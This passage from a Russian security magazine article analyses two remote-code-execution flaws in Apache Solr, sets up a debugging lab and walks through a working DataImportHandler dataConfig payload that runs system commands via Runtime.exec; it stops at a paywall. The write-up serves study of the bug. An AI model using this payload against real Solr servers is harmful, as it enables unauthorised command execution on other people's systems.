Недавно исследователи нашли две крупные уязвимости в опенсорсной платформе полнотекстового поиска Apache Solr. Первый баг связан с некорректной обработкой шаблонов Velocity, второй кроется в модуле импорта баз данных. Эксплуатация любого из них приводит к удаленному выполнению команд, поэтому их статус — критический.

Solr написан на Java и основан на поисковом движке Apache Lucene. Его применяют для поиска по текстам, подсветки результатов, фасетного поиска, динамической кластеризации и прочего. Solr хорошо масштабируется и успел стать одним из самых популярных поисковых движков.

Первая уязвимость — CVE-2019-17558. Она существует благодаря возможности перезаписи конфигурации, что позволяет использовать кастомные шаблоны, в которых можно выполнять произвольные системные команды. Баг затрагивает все версии Apache Solr, начиная с 5.0.0 и заканчивая 8.3.1.

Вторая уязвимость — CVE-2019-0193. Она находится в модуле DataImportHandler. Злоумышленник может передать полезную нагрузку в параметре dataConfig при помощи запроса GET к функции импорта конфигурации БД. Обнаружил баг исследователь из Veracode Михаил Степанкин. Уязвимость затрагивает все версии Apache Solr до 8.2.0.

 

Стенд

Для начала поднимем стенд, на котором будем препарировать баги. Чтобы сэкономить время, возьмем версию, которая уязвима перед обоими эксплоитами, — 8.1.1. Здесь, как обычно, два пути. Один — использовать готовый контейнер Docker, он подойдет, если ты не планируешь морочиться с отладкой и копаться во внутренностях Solr. Для этого воспользуемся репозиторием vulhub. Все, что требуется, — это пара файлов docker-compose.xml: для CVE-2019-0193 и для CVE-2019-17558. Сохраняем их в отдельные папки и запускаем с помощью команды

docker-compose up -d
Контейнер Docker для тестирования уязвимости CVE-2019-0193
Контейнер Docker для тестирования уязвимости CVE-2019-0193

Теперь вернемся ко второму варианту стенда (я буду использовать в статье именно его). На самом деле он не сильно сложнее. Сначала скачиваем с официального сайта необходимую версию Solr — solr-8.1.1-src.tgz. Распаковываем архив и переходим в директорию bin. Теперь, чтобы запустить сервер, достаточно выполнить скрипт solr.cmd для Windows или solr для Linux и macOS.

solr start

Сервер стартует на порте 8983.

Стенд Apache Solr 8.1.1 для тестирования уязвимостей
Стенд Apache Solr 8.1.1 для тестирования уязвимостей

Однако нам еще понадобится возможность отладки, поэтому пока притормозим Solr.

solr stop -all

Для дебага я буду использовать IntelliJ IDEA. Для начала воспользуемся утилитой Ant, чтобы сгенерировать необходимое окружение.

ant ivy-bootstrap
ant idea

Переходим в папку solr и выполняем еще одну команду.

ant server
Подготовка окружения для отладки Apache Solr
Подготовка окружения для отладки Apache Solr

После того как команды успешно отработают, можно открывать проект в IDEA. Теперь укажем параметры запуска сервера. Для этого добавим новую конфигурацию удаленной отладки. Укажем порт и выберем server в качестве module classpath.

Конфигурация для удаленной отладки в IDEA
Конфигурация для удаленной отладки в IDEA

Обрати внимание на строку Command line arguments for remote JVM. Ее нужно добавить в качестве аргумента в команду для запуска сервера.

solr start -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8983"

После этого запускаем отладчик, и стенд готов.

Готовый стенд Apache Solr с возможностью отладки
Готовый стенд Apache Solr с возможностью отладки

Осталось только создать два тестовых экземпляра ядра (core), чтобы анализировать уязвимости. Для бага в DataImportHandler я буду использовать конфиг example-DIH.

solr create_core -c test -d ../example/example-DIH/solr/db
Тестовый экземпляр для анализа CVE-2019-0193
Тестовый экземпляр для анализа CVE-2019-0193

А для бага в обработчике шаблонов достаточно дефолтного конфига.

solr create_core -c vel

Переходим к обзору уязвимостей, начну в хронологическом порядке.

 

Уязвимость в DataImportHandler

Во многих поисковых приложениях контент для индексирования хранится в структурированном хранилище данных, например в реляционной СУБД. Data Import Handler (или DIH) предоставляет механизм для импорта содержимого из такого хранилища данных и его индексации. В нем есть функция, которая отправляет всю конфигурацию БД одним запросом с параметром dataConfig. Режим дебага DIH позволяет удобно отлаживать такую конфигурацию.

Но есть и подводные камни — DIH-конфигурация может содержать скрипты, а это потенциальный вектор для атаки. Точнее, это прямой путь к выполнению произвольного кода! 🙂 Если заглянешь в документацию к ScriptTransfer, то увидишь, что, хотя функции-трансформаторы и пишутся по дефолту на JavaScript, в них можно использовать вставки кода на Java.

Пример использования ScriptTransformer с кодом на Java
Пример использования ScriptTransformer с кодом на Java

Также обрати внимание на то, как вызывается созданный трансформер.

Используя тривиальный метод getRuntime().exec(), можно накидать тело функции rce, которая будет выполнять любой код.

<dataConfig>
  <script><![CDATA[
    function rce() {
      java.lang.Runtime.getRuntime().exec("calc");
    }
  ]]></script>

Остается вопрос о том, в каком контексте эту функцию можно вызвать. Для этих целей нам понадобится источник валидных данных. Так как возиться с поднятием своей БД совсем не хочется, заглянем еще раз в документацию. К нашему счастью, DataImportHandler поддерживает целую вязанку разных источников. Например, URLDataSource, который получает данные из определенного URL.

<dataConfig>
  <dataSource type="URLDataSource" />
  <script><![CDATA[
    function rce() {
      java.lang.Runtime.getRuntime().exec("calc");
    }
  ]]></script>

В качестве обработчика данных я буду использовать обычный PlainTextEntityProcessor, который просто читает все содержимое в поле plainText. Но это абсолютно не важно, главное — использовать в качестве трансформера нашу функцию.

<dataConfig>
  <dataSource type="URLDataSource" />
  <script><![CDATA[
    function rce() {
      java.lang.Runtime.getRuntime().exec("calc");
    }
  ]]></script>
  <document>
    <entity processor="PlainTextEntityProcessor" name="x" url="http://abc.com/" transformer="script:rce" />
  </document>
</dataConfig>

Здесь я получаю все содержимое страницы http://abc.com/ и затем применяю к нему функцию rce.

Включим режим отладки конфигурации DIH и отправим полученный пейлоад. Если сейчас перехватить запрос, то он будет передан в параметре dataConfig.

Выполнение произвольного кода в Apache Solr через DataImportHandler
Выполнение произвольного кода в Apache Solr через DataImportHandler

Установим в отладчике брейк-пойнт на вызов метода инициализации ScriptTransformer.

org.apache.solr.handler.dataimport.ScriptTransformer#initEngine

И видим, что по умолчанию для трансформеров используется JavaScript. А движок, который выполняет парсинг кода на JS, — Nashorn.

Отладка инициализации ScriptTransformer
Отладка инициализации ScriptTransformer
/solr-8.1.1/solr/contrib/dataimporthandler/src/java/org/apache/solr/handler/dataimport/ScriptTransformer.java
44: public class ScriptTransformer extends Transformer {
...
65:   private void initEngine(Context context) {
66:     String scriptText = context.getScript();
67:     String scriptLang = context.getScriptLanguage();
...
72:     ScriptEngineManager scriptEngineMgr = new ScriptEngineManager();
73:     ScriptEngine scriptEngine = scriptEngineMgr.getEngineByName(scriptLang);
...
86:     try {
87:       scriptEngine.eval(scriptText);

Из документации можно узнать, что Nashorn позволяет обращаться к стандартным пакетам и классам Java.

Вызов калькулятора через java.lang.Runtime.getRuntime в Nashorn
Вызов калькулятора через java.lang.Runtime.getRuntime в Nashorn

Далее выполнение кода переходит в

org.apache.solr.handler.dataimport.ScriptTransformer#transformRow

Здесь и вызывается наша функция.

/solr-8.1.1/solr/contrib/dataimporthandler/src/java/org/apache/solr/handler/dataimport/ScriptTransformer.java
44: public class ScriptTransformer extends Transformer {
...
48:   @Override
49:   public Object transformRow(Map<String, Object> row, Context context) {
50:     try {
51:       if (engine == null)
52:         initEngine(context);
53:       if (engine == null)
54:         return row;
55:       return engine.invokeFunction(functionName, new Object[]{row, context});
Момент вызова функции rce
Момент вызова функции rce

Таким образом, можно выполнить любые команды в системе. Это поведение, разумеется, открывает серьезную брешь в безопасности, поэтому с версии 8.2.0 Apache Solr по дефолту не позволяет использовать загрузку напрямую через веб-интерфейс из параметра dataConfig. Чтобы такой способ заработал, теперь нужно установить настройку enable.dih.dataConfigParam в true.

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    1 Комментарий
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии